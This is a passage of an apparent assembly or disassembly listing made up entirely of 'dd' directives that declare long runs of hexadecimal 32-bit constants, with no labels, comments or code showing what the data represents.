5418E2Fh, 9D6E983Bh dd 57FAC3E7h, 57053603h, 0D1075F2Dh, 10210FCBh, 0B713AB45h dd 6DF610F6h, 799836D9h, 9417B14Dh, 0B56D5D54h, 0B5F09D07h dd 0BE857374h, 7EDEB744h, 0F58718E7h, 0A7D74B90h, 0EAC429BFh dd 1E5DEA81h, 0A1530705h, 55436C09h, 7B011DADh, 0F22E8D8Bh dd 767C87FBh, 3DFAC2BAh, 52024C73h, 0F1339404h, 7C31E4D9h dd 28958EF7h, 0CFD760A7h, 8EABBB4Fh, 67C9CDD2h, 8BB1A57Eh dd 7833EDE6h, 0E1206370h, 279D1FCCh, 5BD1C892h, 39824746h dd 14C17E16h, 31B31F36h, 0B5D9E2FCh, 458CE9EFh, 9F712966h dd 133BB3D9h, 9F6AFD9Dh, 0B5DA96B2h, 2D5EE082h, 765A88B0h dd 241BB901h, 948EBDBDh, 0F8B20EDAh, 5A2B1891h, 3CF2E7Ch dd 27A996Dh, 0FAB9BF00h, 2F8F6290h, 0E2B7EFECh, 0C285D759h dd 69D804EDh, 0E03ED686h, 0CA3289DBh, 3AFF4FBDh, 6CA5C5C3h dd 0DE5E7AD7h, 5F0B2AB7h, 356BB907h, 0A6B8CAC0h, 5B1A417Ch dd 0CB445C2Ah, 9BBD2330h, 0A0CF0092h, 0D6A3D871h, 13497895h dd 7B88D5C5h, 35CD9915h, 0CC60186Eh, 5F1A7849h, 5C0327A4h dd 0A2C2CC1Dh, 0F4DCFAA9h, 0CE73C53Ch, 0BC2ACE39h, 0C9AC9F09h dd 249F2B08h, 91444A67h, 6495E4B3h, 4886A140h, 57FF2BE5h dd 0A58BE191h, 3E995945h, 5CAE1504h, 25772EC3h, 63F5DE65h dd 20086A47h, 0F2ABFCD4h, 5027F195h, 0DE374344h, 0A2493C34h dd 5D614819h, 0CB2745E7h, 4D530B1Dh, 12ACCB81h, 268226FAh dd 86DC84A3h, 77BF2CB3h, 0FDE9B0EFh, 650F3BEBh, 0D259091Ah dd 57BDFE18h, 5E60BB3Bh, 0ED2FD702h, 44158582h, 2653C400h dd 43F0FBC8h, 943E9152h, 92212E37h, 0DA1B75C1h, 4D4E5266h dd 0D654EFFh, 99A6622Ch, 0A01C91EDh, 0DCD4080Eh, 6C010BDAh dd 0D7640E03h, 0A989F6CCh, 87928B12h, 0C693CE66h, 3FC3A1E5h dd 37B583EBh, 1C87067Bh, 5E8C2115h, 0F39E2494h, 5EDAB79Dh dd 17E34001h, 72582765h, 14EF86F5h, 0E4287A81h, 0F99B1DD3h dd 0EE516772h, 9C5B8A45h, 0EAD58656h, 897E81CEh, 0A60B524Ah dd 0A08AA686h, 7A6109C2h, 0BF35D8A5h, 27D19C07h, 9ED7E188h dd 0DA3ED83h, 0F517889Eh, 455802E5h, 0DC79F739h, 0EF484AA4h dd 88C28CF7h, 2E664223h, 3B791ED3h, 90EA55D6h, 0E48CE499h dd 1826FBDAh, 0F5441F66h, 2E90C706h, 84F214ADh, 41BC04A1h dd 134D7814h, 75E09956h, 0E2A180FAh, 0FFC82A6Fh, 0F459C294h dd 6D1D984Ah, 0ADBF41B9h, 0F1CCF10Ch, 71A212ADh, 6CC6EE5Eh dd 0DF3EE779h, 6FBB5EF1h, 0AD9D253Bh, 16E6BDA0h, 250A15C1h dd 0FC77B37Ah, 965BFA9Dh, 0CEE3375h, 2D500309h, 89BDD38Eh dd 32E7A8E5h, 7FD8521Bh, 85109CD7h, 0FB0F87B8h, 63DFABF2h dd 9EB965A3h, 0D3B55479h, 722F0199h, 0BCFD8744h, 0D37E022Eh dd 4162CEh, 0C1EB98C7h, 75CC963Ch, 0A38928A7h, 159048C6h dd 0CC8977A9h, 0B9C3D4E6h, 63AB9492h, 2F47EBDCh, 2843EAADh dd 0E7271894h, 373C3168h, 0D70B318Dh, 0F87F43ACh, 79B9665Eh dd 0E4483B93h, 62847CBh, 346FEBF4h, 707E88AFh, 57D26743h dd 6BEA0A7Eh, 4A987BAAh, 6BF4C829h, 120D3D1h, 707DD885h dd 4095DBCEh, 271EFCF5h, 62C02534h, 30E9913Dh, 0FBEA1E2Ch dd 7DB20EC5h, 21E5B257h, 0BC89E8Bh, 9841E63h, 760FF182h dd 36383DB7h, 31C25641h, 254D4F81h, 0E9657258h, 134055Bh dd 749C9262h, 0D03F1D21h, 2B015C5Ch, 0F905653Dh, 6D3CC496h dd 0BA286B5Dh, 51EB8D9Eh, 341BE8B9h, 0FE5BFAC7h, 183F53E6h dd 0F3376B96h, 0EE13F14Ch, 0E9FD5D40h, 39B1107Dh, 140EF5E0h dd 0C9E23E4Dh, 0A48B69B8h, 780C3349h, 0C648852Eh, 6C81075Dh dd 982065F6h, 79D54493h, 0E65A1E92h, 0DCF2DC14h, 5DCC1F85h dd 560DF01Ah, 67928BD5h, 8E816DF4h, 3FF67670h, 4B0CD389h dd 568D4ECAh, 6F4AA28Ch, 0EC4FE6E2h, 21A9715Ah, 0EAAC5D5Ah dd 33BD7195h, 2960A84Bh, 3BBD90BBh, 3D833A69h, 0C05BE129h dd 0E0907159h, 9C88A351h, 0DE859701h, 0A5A65FA8h, 29F20476h dd 0A58AA83Ah, 80DD5CD7h, 297349F1h, 0EA2487DFh, 646EAFB9h dd 0E536358Ah, 377A2887h, 0C804109Dh, 74A43D89h, 831B5AFBh dd 6910DD1Ch, 44268933h, 639D1BD7h, 40B1CEBAh, 641139D0h dd 0AA152983h, 0C37C337Eh, 0BB6F5E6h, 1E73CCF3h, 0DE12EB32h dd 7B756CFEh, 7FFD6E42h, 7F79EFBFh, 3997757Eh, 5DCA5803h dd 0A9335971h, 4B5A9B77h, 0F9045989h, 0F62079BCh, 0AF626455h dd 0F8AC2EF0h, 15A497Ch, 0DB718F77h, 596942B3h, 0B5F53432h dd 2CE66E3Bh, 6FE8659Fh, 1F9AEF28h, 4E0876C4h, 7620C4D9h dd 8D069DB7h, 0E3E90C27h, 4FD9A5D0h, 29613414h, 7EC227A4h dd 765ACE86h, 5148D9B3h, 0C9EAD89Fh, 796EDC94h, 0A4CE3F55h dd 6E839CF9h, 99559499h, 0F4E6F2E9h, 631152B0h, 0EA56733Ch dd 0DC45EE33h, 0F1F269D2h, 550832Dh, 0F45AE01Dh, 0E7562741h dd 3A020107h, 275EB22Ch, 0B6FF9600h, 50387380h, 19672377h dd 3214CDBCh, 0EFFCFE30h, 0DAEEA1Dh, 9BC98C8Fh, 0AD1CEA1h dd 35D78BE8h, 4DF5F1F0h, 80EE3A0Eh, 0F51DD3AAh, 7A565A4Eh dd 0D541C49Ch, 0F7D67EBDh, 19F8E2B2h, 0BCE59B3Ah, 62F45ADh dd 0E8D5978Eh, 3872B3EAh, 0B3EF916Ch, 3AF338Ah, 0CC60F9B1h dd 0D9332673h, 39CD9FDCh, 8411E323h, 0A8720CC2h, 0CF92C878h dd 71D9746Bh, 9651BD82h dd 0D638EF6Fh, 160D42A6h, 922FD9BBh, 1C34BCBEh, 7122101Fh dd 0DCC8486Bh, 9AE513B3h, 0D2DD1218h, 2EBE30A3h, 16B3573Fh dd 6659CA04h, 0B13E082Ch, 0AC67EEC8h, 0B32E209Fh, 144C4103h dd 9F0B7136h, 0D6278924h, 658836D9h, 0BA8E6839h, 19724CC8h dd 3D48057Dh, 0DAE6EA2Fh, 372A186Ch, 0A051D31Ch, 7DDE0AC5h dd 0D0EEA475h, 0B8096BBAh, 398117C8h, 13E4A361h, 20717BA2h dd 0C46C937Bh, 0B4C0CD1Ch, 82DEB80Fh, 0B888A58Dh, 58972E42h dd 0B45549FFh, 5BB405C3h, 514C0328h, 8B92DAE4h, 53C4B3B9h dd 2888982Eh, 0A3985CB7h, 0D69336A2h, 3012317Bh, 0EDA8FA08h dd 5C294FD6h, 0D6B89B8Bh, 4CBF9799h, 0A9A239A4h, 77EB9748h dd 0E33EBF3Eh, 61419D6Ah, 0E76C4CD9h, 849BBEF6h, 505C377h dd 30033551h, 4BDB9BEFh, 5A79B788h, 0C73A9AE3h, 0EC6F8915h dd 9CE81A35h, 0D6A3FDBBh, 0CB0570A0h, 416B0012h, 0D850EB44h dd 9A3C5C50h, 0AADB87D9h, 0C5128C67h, 72624B9Ah, 0EB55BC9Eh dd 0D26338B4h, 6F031B9Ah, 32EDFA7Fh, 2491006Ch, 2C80A587h dd 7C67CD88h, 29FCCE33h, 1E1640AAh, 6BD50BE5h, 2FF7473Eh dd 0D295D60Eh, 0D5D28F69h, 9971F3F1h, 0FEB472B4h, 0FF3E56DCh dd 9E8CEFA1h, 0BB9ED84Dh, 0C03433E6h, 5B113445h, 57A3EEA4h dd 0E6E8FA19h, 0F7AA9B8Ah, 8BB81E13h, 764018C4h, 112DFAC6h dd 0AAFECDAh, 1CFC92D0h, 93AF41F4h, 9F41790Dh, 705ABF5h dd 5D68B8BCh, 0C2016D1h, 5F8E6C49h, 83FB31DFh, 85CC1967h dd 315E9309h, 0F6EF950Dh, 0CD87EB27h, 0B1B488FBh, 0F40305Ch dd 4098557Bh, 0D98D1A0Dh, 1C20E805h, 0AEAFE628h, 0C859E864h dd 9B749934h, 0D4E8CB80h, 0CE36581Eh, 80876CD4h, 89ACB904h dd 0C1E817A8h, 14D2CB85h, 1C87E5B9h, 1FC8B609h, 0A3251C10h dd 46C20C99h, 6BA181FCh, 810069C6h, 0DE1722ACh, 4D2221F6h dd 0CB53CD5Bh, 6CE10673h, 1F8B2F4Fh, 4F711C24h, 6610C0E1h dd 6FD3C5EDh, 1BED1EF9h, 795B2FD6h, 4748AFBAh, 424D0DDCh dd 0D3A418E0h, 0C43D32AEh, 5C99578Bh, 5FF374C8h, 7D223E1Ah dd 26780393h, 0F4B5AD47h, 0C2D31E9Fh, 0F165F246h, 0CEA49B53h dd 68E3C4C8h, 8E6E53B6h, 6A69B3C5h, 85A7BE13h, 57CB9F76h dd 0BBE8A741h, 0A6968D2Fh, 2AC883C1h, 80654257h, 5565ACE6h dd 45DD7254h, 0B64ED1A2h, 0B84B56D4h, 0A01D0529h, 4BA81446h dd 7D2DBB3Eh, 20030267h, 1270662Ch, 0CDA2787h, 6DB8E890h dd 79DC026Ah, 0E627CAC6h, 0D93B7FEEh, 0B3160D9Fh, 61834058h dd 3E85B977h, 0C1A5E9A4h, 0C4748056h, 1936835Fh, 0E53FE4FBh dd 0A1D5DA58h, 0BD30328Ah, 0F728EF57h, 80BB899Ch, 0F727E81h dd 836B8DD1h, 370666ACh, 123D1C9h, 7246A0EFh, 320717F4h dd 97535D33h, 1D42420h, 0F6B7EAC8h, 0C5047B07h, 2B0085ECh dd 0BB000867h, 642E6A14h, 42297107h, 565AF18h, 0C2472538h dd 0EA4E97E5h, 0BDAE4E23h, 151928F6h, 859EFE61h, 7C93B654h dd 656C5Bh, 0CF0FBC9h, 0D9A93C05h, 86CE595Eh, 45121409h dd 26263739h, 0E61EE479h, 5AC36DB6h, 0E7706B8Dh, 0C05FD4E3h dd 61207C3Dh, 3910713Eh, 5FDED776h, 47C0B6D4h, 8FFDFDD2h dd 64222586h, 73F2BDFBh, 396C6541h, 519C3B19h, 555A2529h dd 0E24FC24Eh, 0C80859E8h, 0D5CCA3Fh, 0EE4E3021h, 21A9AF7h dd 63D41F41h, 2D597596h, 25B8BCDEh, 0FEF82672h, 991CFE76h dd 0F1F13390h, 592F006Dh, 0B7D80FDEh, 0E8169E69h, 6ACE7115h dd 1972E013h, 56285F17h, 395D155Ch, 4AB84364h, 5382BA70h dd 0B1343E13h, 27C6A044h, 0D88D1827h, 0E059A626h, 3DE69066h dd 0FF06825h, 2E400435h, 0E3F96AECh, 225E87B4h, 5D934F75h dd 48955CC7h, 505EB76Fh, 8A5A80FDh, 0A94B978Dh, 9406B2F2h dd 52315A6Ah, 8E91FE5Eh, 0DAFEFA96h, 87BDC7D3h, 20B85A89h dd 4966E2EDh, 20885214h, 5F3657BBh, 0DA7CA837h, 77CD1B5h dd 0EDD6ABECh, 0C8C10FDBh, 0A47B57D5h, 0CCDAF523h, 826C344Ch dd 0A31FD513h, 7A524611h, 420EC6A1h, 77DB658Fh, 0AB9A9918h dd 0EA22AB35h, 0BF9243CBh, 8A2F215Dh, 21CE9F10h, 75CD0EA4h dd 0A7AF713Eh, 0D038E18Ah, 313338A0h, 0EFF13AB8h, 2FAA5791h dd 5AB0D3ADh, 0F5D8501Bh, 53A52ED2h, 41B3CDF6h, 8AE875D6h dd 8389D9D4h, 7CDD3325h, 23C9A407h, 55FBDDADh, 1897D8F7h dd 29B14873h, 5296488Dh, 0BEA4BAD5h, 904237F6h, 6BF6FCFBh dd 0E7EA2DC1h, 59E8C3EDh, 30E1AF2Ah, 0C1934CD7h, 0A2EE0DF7h dd 772F002Dh, 0F2DBFBD5h, 74B365B9h, 0A721F28h, 9793CCD8h dd 19A29FFEh, 11EFFB2Dh, 2C83CD14h, 0D5A0A85Eh, 67265976h dd 0DCA7FBE8h, 0F2AA3A14h, 2EEEF2C2h, 1CDF349Fh, 2B000108h dd 0EFF9C7A3h, 0CF04FFDFh, 5C6168B5h, 0E4AE551Fh, 4F6DA3FDh dd 0C34DECF1h, 9D20886Eh, 48C8109Eh, 0BEEA2B92h, 0CD74804Eh dd 79DFE49Bh, 0CE9E241Ch, 56D4C14Ah, 0D76B3490h, 0C251A9D5h dd 0A4F93F48h, 0FFD08D4Ah, 28B9D26Eh, 15B7816Dh, 7FECBC4Eh dd 3D64232h, 4CE13699h, 295A70ACh, 4164776Eh, 0E1191627h dd 0D2D0E402h, 788420C3h, 72C48E2Ah, 0C92398FAh, 72C64CF1h dd 682D376Ch, 7F38EC87h, 9C1A87A3h, 55CFED2h, 1423836Ch dd 86ED0321h, 8732DA5Dh, 4E9134CCh, 9E475B62h, 0D5FD98DCh dd 44E38CAEh, 0C296B29Dh, 524BE984h, 5D7237DDh, 0EE47E406h dd 57E6DD73h, 0F0982136h, 7F7F3C36h, 11E3775Ch, 0DADA1174h dd 3157342Ah, 2120E377h, 0E1DA2130h, 56FC2027h, 2849B37Dh dd 0FD0A3234h, 52CD1230h, 3D204167h, 0CD20C3F6h, 0AD1FC056h dd 3BB78814h, 0DA27207h, 22AE7E69h, 0F1EA18B3h, 166DF2E6h dd 705072DCh, 0A48C537Ch, 0B0323387h, 0B8C3694h, 0C5AE5DEAh dd 97E8B6CBh, 52278FEh, 0DB91A713h, 0BCD7831Bh, 0D9FBFCDCh dd 0EA92239h, 1CB750C9h, 76B0A6B2h, 903F68A0h, 9239AD73h dd 85C13527h, 0D14DE725h, 9F85219Bh, 225C106Ch, 900BD586h dd 0ECB9A9D6h, 221B541Ah, 3A10F921h, 0DFD36544h, 629F3F94h dd 0D59CE0F7h, 0FD426360h, 0F08E6A87h, 0FD0FD87Fh, 0A2BDA658h dd 4AB02DAh, 76E644D0h, 6EB28F08h, 8C428FD9h, 0EB50F4F0h dd 0E378F0C5h, 0C2CA035Bh, 6D12C04Bh, 0F2820B4Eh, 91A06A9h dd 94F292A7h, 0D6DEB030h, 7845588h, 97516C3Ch, 20027482h dd 8C98B6D4h, 1CE04023h, 9D54678Fh, 8D77FE94h, 0E1BFCB14h dd 0D39E1424h, 0BA17CC8Fh, 7BC852F9h, 56435878h, 257899FAh dd 2925ED50h, 0C492ABB2h, 98D3BDACh, 7CF91FDCh, 0E9056E56h dd 38B15CBFh, 0AED0E6ABh, 9B1775F6h, 17E27DDh, 7D6F040Dh dd 0FB5CE48Eh, 8E35A71h, 167E7613h, 15E98B8Bh, 7621EB1Ah dd 31D76714h, 0B465284Ch, 63181B00h, 35C8C8Dh, 7D7D803Dh dd 0D1EF3015h, 10EB745Bh, 8057D8AEh, 1705F731h, 0E3F166E7h dd 44CA9EFh, 9D8D1DB4h, 6022EB37h, 2C6F302Fh, 0DEB7D01Bh dd 0B4984E50h, 4B92A682h, 6B2479FDh, 0AFE4CED9h, 0C88D441Ch dd 0E0BACC04h, 35EA8E45h, 0CB9E421Eh, 55154569h, 7DB4E4Bh dd 1BD00AEAh, 124FA4C9h, 0E0638ACEh, 0DB36DCE3h, 0DECED29Dh dd 1359DE71h, 0EFBFDCB8h, 23489AC3h, 0F9602E33h, 0F8167A83h dd 0D841F946h, 0CF141A11h, 4837D1BDh, 4B5CCB01h, 89FC26DBh dd 0BA065F7Bh, 85E2A2B4h, 0C8C0DFA3h, 0A1569139h, 0E1CA7A74h dd 247B5594h, 4394CA83h, 1FB5571Ch, 51A0A369h, 77D2666Ch dd 0E331A64h, 7DF4864Ah dd 21FF96E7h, 8B6FE56Ah, 0EEB43DF6h, 0C423DAE9h, 7B9C3376h dd 0F9D395E7h, 61093EB3h, 46598CF6h, 3B2275CAh, 0B32AABECh dd 66C9A843h, 5463883Eh, 8CDEFAE7h, 3C76B9D9h, 6A1D3FC6h dd 2BC1F9BBh, 0A7967BFEh, 0BA10C1EFh, 0C0AA3F74h, 0DFF1D5C0h dd 0BA295A56h, 80D260F6h, 0F5B40B5Ch, 95BF128Ah, 79407368h dd 0F35A5684h, 9F617F90h, 0CAFEBE9Eh, 96DFB01Eh, 8D79C2B7h dd 0C25056FCh, 6D640096h, 70470A9Ah, 52DA95DBh, 0C93AC9EFh dd 9E53B5BAh, 0DCC22028h, 0DE09A863h, 0A73D1D84h, 73D81AEEh dd 6F942F13h, 6CA71D55h, 0A6EE0244h, 0DD193F39h, 50C0ACC2h dd 0D2AB0831h, 32F04338h, 53BAC406h, 4F96A041h, 80B6A61Dh dd 3E029676h, 1847BE46h, 0C56F8598h, 935E3D92h, 26730FD0h dd 0DB3A3B47h, 9D6A9AC5h, 5B9C4567h, 7CB5C80Ch, 8F20D54Ch dd 1B955D48h, 55B277Ah, 0B1A13EB4h, 0EB75EBA6h, 0A22216A6h dd 72A72010h, 5E4C0A6Ah, 0C8F3C685h, 95CAC112h, 0EB1DF794h dd 0C717C5BEh, 3F017153h, 84605760h, 7FF8E297h, 57100D2h dd 0A69EBF0Eh, 9FD87EBCh, 15514B67h, 0F98AB7A8h, 0B56B710Eh dd 0B194DDC8h, 6F3AC910h, 0C9057B93h, 974935A8h, 9475EC59h dd 9C44240h, 0AA263296h, 0BAF56053h, 1DFCD49Dh, 0A5D92968h dd 0F27865A5h, 0D01C8858h, 0E302B3EDh, 20590E37h, 5C45C071h dd 0EE502A10h, 272C94Ch, 27DD548Eh, 8591FD0Fh, 67E6EF52h dd 7F8A846Bh, 0B4F62776h, 618E8653h, 0BE2DB453h, 0F7CD82BFh dd 0C87FB7C0h, 0E26B31D0h, 3BA60EEDh, 5B19C13Bh, 2DBF49F3h dd 76848621h, 0EA293A30h, 256CAA3Ah, 271A82Ah, 196C75C6h dd 0B8001103h, 81E5994Eh, 5AF6970Bh, 7E4C459Bh, 0D8D6AEDCh dd 5757B198h, 2A407BF3h, 0BD183F56h, 41CAB01Ch, 8E21F780h dd 9F554199h, 24D6401Fh, 2E37E15Ch, 350C3657h, 6C6395CEh dd 0A71713C7h, 3185612Bh, 0C0D32995h, 0D9A2D011h, 0F6FDF659h dd 3BEC0127h, 44CDEB61h, 0F15A59B5h, 0D1BAD10Fh, 0CDA5D3F5h dd 484452DCh, 8EC9D4C0h, 0C3013DBAh, 637F029h, 86ECB40Bh dd 7BB7E08Bh, 0DC3D6754h, 0F2774C0Dh, 0EB66D106h, 2139057h dd 0B2F121Ah, 0D1E432BAh, 0BCA05ADCh, 159EA394h, 0B52DC6F9h dd 15052AFCh, 0E7810016h, 66CFE16Fh, 0A474F436h, 2B4514BCh dd 8F1C0E77h, 0E7B463Ch, 0DD5B0B3Bh, 0C784A4C1h, 5977A06Fh dd 2452C90Eh, 6BE2E059h, 0B4A0F9E1h, 45D6A046h, 0F373C91Eh dd 0E85F3038h, 293079CFh, 0E9E00538h, 28E5F84h, 321B9968h dd 0F9274601h, 7A74257Bh, 1C6F88A3h, 0AB3BCA7Bh, 0AE893AFFh dd 62600A57h, 3671A4C4h, 8AF15341h, 59CAFBB8h, 63A19309h dd 0E126D253h, 4CB9496Fh, 0BCD037DFh, 585B9368h, 8BDA55FEh dd 0FA674D7Eh, 6CDAE45Ah, 43B5EC49h, 34A68EFDh, 9DBF776h dd 9950AE0Dh, 0CAB70AA3h, 4DA0596Ch, 0D8292C5Dh, 0B56393D1h dd 0DF6B3924h, 60EE3A77h, 6C5C6C92h, 7C59FA9Ch, 0D3CD0D27h dd 3209723Ch, 7A87E165h, 0D3FD5B7Ch, 0A36DB863h, 85826F03h dd 0F6339DC2h, 0B29B2538h, 99A641DAh, 5E17536Ah, 0CA6FB3BEh dd 57D5F9F1h, 0FEAAA220h, 7EEA6314h, 7B5347A6h, 73CF796Fh dd 7B333304h, 102F092Eh, 0DE113730h, 8D473D39h, 0DD5A5835h dd 7957FA6Ch, 9B46BA42h, 0AE0ACB9h, 2400FE38h, 9AC4F387h dd 0E3B716EAh, 94A35099h, 0FAFA42F1h, 85B5F29Fh, 0A116B24Eh dd 19C673E6h, 7E9CE39Dh, 0C71172D5h, 0CB781607h, 0E5DB0489h dd 8EFBCC6Fh, 0B5E2906Fh, 5A3E981Dh, 2EB8DE83h, 0A228926Ah dd 0FDE93B09h, 0E49E727Ah, 9B176FA2h, 0E126EC1h, 0B1650C97h dd 82D4861Eh, 3D59CA14h, 61327970h, 67E2688Ah, 0FAD20E61h dd 0EC2606D2h, 0C5A021C0h, 0CE5441DAh, 93326820h, 1D276FAEh dd 0F6FA4674h, 0EFD2C9DBh, 868776E9h, 8FBDBE79h, 0D74E427Bh dd 0DE2E65B6h, 4815E054h, 55FDC403h, 6C3B178h, 690F9F31h dd 0A72EB75Bh, 2090D20Dh, 0D3917786h, 0EFA2AE4Dh, 0D6616F8Ch dd 0E45001C1h, 5710A29Fh, 0D1E4B15Dh, 414FA1A2h, 13F986D8h dd 7CE2B5B7h, 6A5F860Ch, 8F832051h, 0B5514105h, 0ECEA1632h dd 3EB8D257h, 6612237Dh, 29A18C7Dh, 26DDFCEFh, 44DAEEFEh dd 0A240A5EDh, 88FB9ED8h, 0B62B0772h, 3F665E3Fh, 6228B961h dd 9E14923Dh, 0AC5A034Eh, 0D30A78BAh, 0D04FF952h, 0F8AC33A7h dd 0FD717C41h, 0EA318239h, 0F9328DBCh, 0F97A4265h, 0BEE8AE7Ch dd 548E4E1Dh, 83A6FBB7h, 612EC11Ah, 0A082B539h, 7D324714h dd 0B13E59FFh, 0BEF12262h, 0A7E50D57h, 62E55AEDh, 9C6AE4A1h dd 0C4854DBEh, 279462DDh, 81D6CE84h, 0DE0C0F69h, 56F8213Fh dd 4BFB1D0Bh, 0BEECF7BBh, 71A73B68h, 0BD9821F9h, 227288CFh dd 136C1DADh, 0D11F2F07h, 6BB082BCh, 0F0E7723Bh, 159AE813h dd 920C5C49h, 0BF5AE892h, 0E87C5A6Ah, 7899FDC4h, 8583869Dh dd 0C2840DDDh, 58DB27F9h, 188F6160h, 0ED1C8616h, 983A8AD8h dd 98E0BE0Ch, 92863B10h, 0E4883562h, 2A66EA1Bh, 3D521DE6h dd 5718EEBBh, 0B2B647Ch, 4AAE7D06h, 0CB410EB2h, 16B9E88Bh dd 725459ABh, 4116A83h, 77ABDDDFh, 0D2AD7F7Bh, 536D5A0Ch dd 0FBB08515h, 71F203E1h, 696540D3h, 0F138E073h, 0C6910282h dd 8A902F56h, 0CB3AB405h, 0DA0DB865h, 9F262656h, 465792CCh dd 2C57E7FAh, 0A95CC73Fh, 0B1F87E71h, 758E3CCEh, 0E0B24342h dd 0F540DD3Ch, 665F2615h, 3054A0B2h, 3AD021D0h, 46696860h dd 41987E5h, 61E3FC97h, 0F0CE1E25h, 0C7805948h, 0B18684A5h dd 84A7AF8Ah, 789CB90h, 34997654h, 8EE98863h, 0DD6C24D5h dd 423A8B44h, 0FAEEEF5Ch, 42ACED50h, 6E82865Fh, 823E526Eh dd 0F98C5F81h, 83685F0Dh, 0C0DD4BFEh, 55F3C0C7h, 5F2B2897h dd 7E6554EFh, 0CB96199Ch, 0CA0D0E6Ah, 0EAC11DBEh, 95B39F6Ah dd 0D3C342C7h, 386CAFFCh, 95895FDBh, 425D5116h, 3BA23768h dd 0EE584D4Fh, 2E80F38Bh, 7AAB5CDEh, 0B8317B9Bh, 3F165FBFh dd 0D8EA080h, 0F88506DFh, 24FC52A9h, 4838216h, 81C1E96h dd 61B8F048h, 28955521h, 59D9D336h, 0A6D2DE27h, 7728F173h dd 0D54D7720h, 4E8A0F82h, 391D8904h, 0A3EC9CD7h, 8A0BDC30h dd 9FAC4CFEh, 0A1772DB4h, 0D61404F2h, 0EEF6403Fh, 53593EC7h dd 0E5C6E6D7h, 0A059B6Dh, 9E24D7B5h, 0A280414Fh, 0DA23A989h dd 0A01DE827h, 0B2601C45h, 0B93D65DEh, 4AB86023h, 0F389A210h dd 590C4257h, 0E80975B0h, 2091D071h, 0B328B8FDh, 0C5319289h dd 0AA35E6AAh, 37A85E84h, 0FB98B01Fh, 0F32A2557h, 0DFB9990Ch dd 10CC4738h, 7E5CAD57h, 783E0570h, 68CBEE64h, 34B77F8Ah dd 0C9F0FC63h, 0C52FDE75h, 9E351646h, 0DD762A12h, 3CB17223h dd 2963C91Eh, 0B22A002Dh, 0CAEA4556h, 29424C0Bh, 0F29F7F5Bh dd 30CD08C5h, 46EBD770h, 3DC6A73Ch, 9C3E0829h, 8FE6805Ah dd 0F18FE976h, 2F1DBFF1h, 0D87D66Ah, 0C42C0667h, 5A94F9ECh dd 0A2214192h, 6E0085A0h, 0C0B1D7h, 18B740D6h, 79680F98h dd 659B0016h, 0F0C4DF24h, 99DBFC96h, 4364F699h, 0D16DC8CAh dd 8C8FFADEh, 4FDCE136h, 8F985F60h, 835A2D66h, 3CDFFD1h dd 0D7FADA6Eh, 15FB077Bh, 0F35F30D9h, 378EF02Ah, 3DED05DFh dd 0A46295CFh, 417D9C6Dh, 3EE7DA69h, 0C31A52B1h, 0B2843E17h dd 0EE8A4274h, 7BA86CFh, 7F06E250h, 0DB304AE4h, 33E775ADh dd 60DDADEBh, 59FA5DDEh, 0AD85CC2Fh, 34A31F1Eh, 0D2295676h dd 0A4B34778h, 0E471BA57h dd 50879227h, 3B2E802Ch, 42796461h, 5FC7622Ch, 6E0BC2D3h dd 7B7F4667h, 0D466FDC3h, 85C14DA5h, 5E0E015Ah, 0FC472273h dd 1BDF6800h, 390E074Bh, 6FB525CAh, 0A1FEC1A5h, 0A0915FAh dd 9521D758h, 0AE53AF20h, 42455F8Bh, 10C4D806h, 356BFFAh dd 0BDD63A81h, 7EAF2426h, 696EFC8Bh, 0BCA67C00h, 450B0B3Ah dd 0B867CF4Dh, 8042FBBh, 0DD0E43C3h, 0C21FE42Fh, 98148DCCh dd 0B57B005Dh, 0B7CE76AAh, 34D95FCDh, 874595C4h, 55C75D9Fh dd 3F63BFE8h, 76A36511h, 53E64F2Bh, 0B1547DDEh, 0C887FD41h dd 2E000450h, 626B33EEh, 0A9A61535h, 76C26D8Ah, 0D1F46790h dd 51E553B4h, 237CE854h, 9E8CC819h, 0CE99CF6Eh, 65B8DFC7h dd 0B6B83887h, 93D89E46h, 0BCAAB971h, 0B2E58EC0h, 0B35767F0h dd 0B593C625h, 0F95FA197h, 0D18E0084h, 54779829h, 4C407478h dd 0EE84A438h, 1A56AD7Dh, 82B0FB36h, 44A2073Bh, 0DA84B66Dh dd 31994436h, 4E6B51FFh, 0C792452Eh, 15FFF7A3h, 1F72F21Fh dd 655A9E03h, 3F2E17C6h, 0C77A98B9h, 42A6684h, 6CE13798h dd 0C184F321h, 30B5593Ah, 52CA02D2h, 5E94C331h, 85843C40h dd 15F08029h, 0EC6EF69Bh, 1D4CC581h, 846E334Bh, 0A6A9346Eh dd 4496285Dh, 0BB570A3Dh, 4B704018h, 0E081B1Ch, 7B73131Ah dd 0A49985FBh, 0C0530061h, 806FBB4Fh, 0F4CC182Ah, 70265B54h dd 6498EAE5h, 5460CD8Fh, 490B811Ah, 2DB23BEAh, 8F455F41h dd 4923F57h, 3E12C7F1h, 0CFA15F00h, 2F3379E7h, 0DDD8190Fh dd 284135h, 1637427Ah, 746FB8A5h, 0B5BEF7F2h, 1A394735h dd 0FAD31AE5h, 0D299CE9Eh, 0E75ABAF8h, 9A3C11F8h, 0F462ED43h dd 29AF078Fh, 240275B3h, 67815ECh, 55644E2Ch, 4E118E3Ah dd 8D45FEE6h, 0EDA880F5h, 0CF7F5EA7h, 40DFFADAh, 22FEAE2Fh dd 462E4F03h, 5EB6AFF8h, 0BDB0875Ah, 0F2DF3A57h, 6D65F6B8h dd 0F233F90Ah, 61A65582h, 24B5CF99h, 1FD735F6h, 0C360CD26h dd 8F4D73B4h, 0D6F0CE9Eh, 0B8C9F933h, 0BA8B3AD8h, 0BB75647Fh dd 0B152E2C1h, 54714340h, 0F35BA864h, 3CCC7D44h, 91E8893Ah dd 0EB27924Ch, 0CAD9A2Fh, 1E6EEA2Ch, 726122F8h, 46C145B8h dd 1A8B0C63h, 764F9094h, 0CD42EB88h, 88B8CCA1h, 0D3D1467Eh dd 16C219B3h, 0E178C20Bh, 0F76A0062h, 0AEA001AAh, 64CF4AA5h dd 38F0867Bh, 7FDD55F2h, 980589A7h, 0C6693F25h, 709B6BA0h dd 712B2EF6h, 0B3717BA1h, 5B3B78A3h, 2C15759h, 0AF370794h dd 141B91D8h, 3748C3A1h, 0E3168EC9h, 262D4788h, 59559FD8h dd 0EA414F18h, 0F07E64FFh, 0D97304DFh, 4C96A676h, 0B2839C6Ch dd 66D9B54Bh, 0EBA329C5h, 2751C04Bh, 251BC6E1h, 1C5C1639h dd 80190F47h, 0A9CCBD70h, 623A8728h, 0C257FA64h, 16FB571Ah dd 0D564E330h, 9869B908h, 430C484Bh, 969C016Dh, 6B985292h dd 5AE9DD14h, 839B160Ah, 53219372h, 4921AFD6h, 